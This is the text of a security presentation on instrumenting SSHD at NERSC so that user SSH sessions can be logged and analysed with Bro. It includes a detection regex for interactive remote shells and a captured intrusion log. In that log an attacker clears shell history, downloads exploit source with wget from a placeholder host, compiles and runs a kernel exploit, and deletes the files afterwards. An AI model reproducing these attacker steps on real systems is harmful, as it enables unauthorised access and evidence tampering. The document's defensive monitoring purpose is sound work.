Local System Security via SSHD Instrumentation

Scott Campbell
NERSC,
Lawrence Berkeley National Lab
Presentation Outline

- Problem overview
- Wants and worries
- Solution overview
- “sh –i” Example
- Soft Data
- Future work
NERSC does big data open science
6 Major platforms, transition to 100G in progress
4000 users worldwide
SSH access and Shell accounts for everyone!
Passwords are primary authentication
Highly diverse code base

No clear idea what our users are really doing...
What we want:
Identify what users are doing via SSH.

What we don’t want:
To interfere with performance or user experience.
Introduce new security holes.

What worried us:
Privacy issues.
Political buyoff from system admins and user support staff.
Long term issues of support and responsibility.
Solution Overview

- PARENT SSHD
- CHILD SSHD
- STUNNEL
- SSLOGMUX
- BROPIPE
- BRO
SSHD

PARENT
SSHД

CHILD
SSHД

Normal User Login

STUNNEL

SSLOGMUX

BROPIPE

BRO

6
SSHD
SSHDA
SSHDA

PARENT
SSHDA

CHILD
SSHDA

SERVER SESSION

SHELL

DO_EXEC: PTY

-> SPAWN SHELL WITH PTY CONTEXT
LOCAL NONBLOCKING UNIX SOCKET FOR ALL SYSTEM SSHD Instances

DATA_SERVER time=1322626291.102851
uristring=17278_nid00163_22
uristring=NMOD_2.9
uristring=128.55.81.41+
count=947394063
count=0
uristring=%23PBS+-q+regular
SSL LOGMUX

IN: MULTIPLE HOSTS DELIVER SSH DATA VIA STUNNEL

OUT: SINGLE TEXT LOGFILE, ONE LINE/RECORD
BROPIPE

CONVERTS STRUCTURED TEXT TO NATIVE BRO EVENTS
data_server time=1322626291.102851
  uristring=NMOD_3.00 uristring=17278_nid00163_22
  count=947394063 count=0 uristring=%23PBS+-q+regular

event channel_data_server_3(ts: time, version: string, sid: string, cid: count, channel: count, data: string)
event channel_data_server_3(ts: time, version: string, sid: string, cid: count, channel: count, data: string)
event channel_data_server_3(ts: time, version: string, sid: string, cid: count, channel: count, data: string)

Local Site Security Policy:

Defines what is considered hostile or insecure. Comes with default set of sane values – runs out of box. Acts on events as a fundamental unit.
event channel_data_server_3(ts: time, version: string, sid: string, cid: count, channel: count, data: string)

<table>
<thead>
<tr>
<th>File</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>sshd_core.bro</td>
<td>Defines data structures, core logging etc</td>
</tr>
<tr>
<td>sshd_const.bro</td>
<td>Data values for logging and state maintenance</td>
</tr>
<tr>
<td>sshd_auth.bro</td>
<td>Infrastructure for logging authentication related activities</td>
</tr>
<tr>
<td>sshd_sftp.bro</td>
<td>SFTP related policy and logging</td>
</tr>
<tr>
<td>sshd_policy.bro</td>
<td>Framework for defining what is interesting</td>
</tr>
</tbody>
</table>

Out of the box is quite useful – logging and “typical” hostile activity.
event channel_data_server_3(ts: time, version: string, sid: string, cid: count, channel: count, data: string)

Remote Exec:
if ( alarm_remote_exec in data ) {
    ... Do something ... 
}

Default Action:
global alarm_remote_exec = /sh –i/|/bash –i/ &redef;

To Modify:
redef alarm_remote_exec += /foosh/
Example: Client Side

```
spork:RUN scottc$ ssh 10.10.10.10 sh -i

sh-3.2$ id
id
uid=324(scottc) gid=10324(scottc) groups=10324(scottc)
sh-3.2$ exit
exit
```
Example: Server Side

#1 - SSHD_CONNECTION_START 127.0.0.1:52344/tcp -> 0.0.0.0:22/tcp
#1 - SSHD_CONNECTION_START 127.0.0.1_192.168.1.134_10.211.55.2_10.37.129.2
#1 - AUTH Postponed scottc publickey 127.0.0.1:52344/tcp > 0.0.0.0:22/tcp
#1 - AUTH Accepted scottc publickey 127.0.0.1:52344/tcp > 0.0.0.0:22/tcp
#1 - SESSION_NEW SSH2
#1 - CHANNEL_NEW [0] server-session
#1 - SESSION_INPUT_CHAN_OPEN server-session ctype session rchan 0 win 2097152 max 32768
#1 - CHANNEL_NEW [1] auth socket
#1 0-server-session SESSION_INPUT_CHAN_REQUEST AUTH-AGENT-REQ@OPENSSH.COM
#1 0-server-session SESSION_REMOTE_DO_EXEC sh -i
#1 0-server-session SESSION_REMOTE_EXEC_NOPTY sh -i
#1 0-server-session SESSION_INPUT_CHAN_REQUEST EXEC
#1 0-server-session NOTTY_DATA_CLIENT id
#1 0-server-session NOTTY_DATA_SERVER uid=32434(scottc) gid=32434(scottc)
#1 0-server-session NOTTY_DATA_CLIENT exit
#1 - host SESSION_EXIT
#1 0-server-session CHANNEL_FREE
#1 1-auth socket CHANNEL_FREE
#1 - SSHD_CONNECTION_END 127.0.0.1:52344/tcp -> 0.0.0.0:22/tcp
Example: Server Side

```
#1 - SSHD_CONNECTION_START 127.0.0.1:52344/tcp -> 0.0.0.0:22/tcp
#1 - SSHD_CONNECTION_START 127.0.0.1_192.168.1.134_10.211.55.2_10.37.129.2
#1 - AUTH Postponed scottc publickey 127.0.0.1:52344/tcp > 0.0.0.0:22/tcp
#1 - AUTH Accepted scottc publickey 127.0.0.1:52344/tcp > 0.0.0.0:22/tcp

SSHD_RemoteExecHostile #1 - scottc @ 127.0.0.1 -> 0.0.0.0:22/tcp command: sh -i

#1 - SESSION_INPUT_CHAN_OPEN server-session ctype session rchan 0 win 2097152 max 32768
#1 - CHANNEL_NEW [1] auth socket
#1 0-server-session SESSION_INPUT_CHAN_REQUEST AUTH-AGENT-REQ@OPENSSH.COM
#1 0-server-session SESSION_REMOTE_DO_EXEC sh -i
#1 0-server-session SESSION_REMOTE_EXEC_NOPTY sh -i
#1 0-server-session SESSION_INPUT_CHAN_REQUEST EXEC
#1 0-server-session NOTTY_DATA_CLIENT id
#1 0-server-session NOTTY_DATA_SERVER uid=32434(scottc) gid=32434(scottc)
#1 0-server-session NOTTY_DATA_CLIENT exit
#1 - host SESSION_EXIT
#1 0-server-session CHANNEL_FREE
#1 1-auth socket CHANNEL_FREE
#1 - SSHD_CONNECTION_END 127.0.0.1:52344/tcp -> 0.0.0.0:22/tcp
```
Typical Attack

AUTH_OK
SESSION_REMOTE_DO_EXEC
SESSION_REMOTE_EXEC_NOPTY
NOTTY_DATA_CLIENT
NOTTY_DATA_CLIENT
NOTTY_DATA_CLIENT
NOTTY_DATA_CLIENT
NOTTY_DATA_CLIENT
NOTTY_DATA_CLIENT
NOTTY_DATA_CLIENT
NOTTY_DATA_CLIENT
NOTTY_DATA_SERVER
NOTTY_DATA_SERVER
NOTTY_DATA_SERVER
NOTTY_DATA_SERVER
NOTTY_DATA_CLIENT
SSH_CONNECTION_END

resu keyboard-interactive/pam 1.1.1.1:52073/tcp > 0.0.0.0:22/tcp
sh -i
sh -i
uname -a
Linux comp05 2.6.18-...GNU/Linux
unset HISTFILE
cd /dev/shm
mkdir ... ; cd ...
wget http://host.example.com:23/ab.c
gcc ab.c -o ab -m32
./ab
[32mAc1dB1tCh3z [0mVS
Linux kernel 2.6 kernel 0d4y
$$$ K3rn3l r3l3as3: 2.6.18-194.11.3.el5n-perf
??? Trying the FOPPPppppp__m3th34d
$$$ L00k1ng f0r kn0wn t4rg3t...
$$$ c0mput3r 1z aqu1r1ng n3w t4rg3t...
!!! u4bl3 t0 f1nd t4rg3t!? W3'll s33 ab0ut th4t!
rm -rf ab ab.c
kill -9 $$
1.1.1.1:52073/tcp > 0.0.0.0:22/tcp
AUTH_OK
SESSION_REMOTE_DO_EXEC
SESSION_REMOTE_EXEC_NOPTY
NOTTY_DATA_CLIENT
NOTTY_DATA_SERVER
NOTTY_DATA_CLIENT
NOTTY_DATA_CLIENT
NOTTY_DATA_CLIENT
NOTTY_DATA_CLIENT
NOTTY_DATA_CLIENT
NOTTY_DATA_SERVER
NOTTY_DATA_SERVER
NOTTY_DATA_SERVER
NOTTY_DATA_SERVER
NOTTY_DATA_SERVER
NOTTY_DATA_CLIENT
NOTTY_DATA_CLIENT
SSH_CONNECTION_END

resu keyboard-interactive/pam 1.1.1.1:52073/tcp > 0.0.0.0:22/tcp

sh -i

sh -i

uname -a
Linux comp05 2.6.18-... GNU/Linux

unset HISTFILE
cd /dev/shm
mkdir ... ; cd ...
wget http://host.example.com:23

gcc ab.c -o ab -m32
./ab

[32mAc1dB1tC h3z [0mVS Linux kernel 2.6 kernel 0d4y

$ $$ K3rn3l r3l3as3: 2.6.18-194.11.3.el5n-perf

??? Trying the F0PPPPppppp__m3th34d

$$$ L00k1ng f0r kn0wn t4rg3tz..

!!! u4bl3 t0 f1nd t4rg3t!? W3'll s33 ab0ut th4t!

rm -rf ab ab.c

kill -9 $$

1.1.1.1:52073/tcp > 0.0.0.0:22/tcp

Behavioral Rules

Data Value Rules
SoJ Data

DATA_CLIENT /sbin/arp -a
DATA_SERVER b@n:~> /sbin/arp -a
DATA_SERVER comp05 (192.168.49.94) at 00:00:30:FB:00:00 [ether] PERM on ss
DATA_SERVER b@n:~>
DATA_CLIENT oh wow
DATA_SERVER b@n:~> oh wow
DATA_SERVER b@n:~> /sbin/arp -an | wc -l
DATA_SERVER 9787
DATA_CLIENT rofl hax it hacker
DATA_SERVER b@n:/u0> sorry, im gonna s roll a cigarette and smoke it, y
DATA_SERVER b@n:/u0> then im gonna come back and try to hack ok ?
DATA_SERVER b@n:/u0> i am gonna go for one
DATA_SERVER b@n:/u0> you cant smoke inside? terrible
DATA_SERVER b@n:/u0> its f cold as f***

These were not dumb kids – other longer conversations indicated an understanding of *NIX internals. Difficult to get at Soft Data otherwise.
Future Directions

• Better analysis – machine learning on per user behavior.
• Tie to process accounting records to get data on what really executed and under what PID.
• Analyze and record forwarded socket data – example: *internal* http attacks from forwarded connection.
http://code.google.com/p/auditing-sshd
scampbell@lbl.gov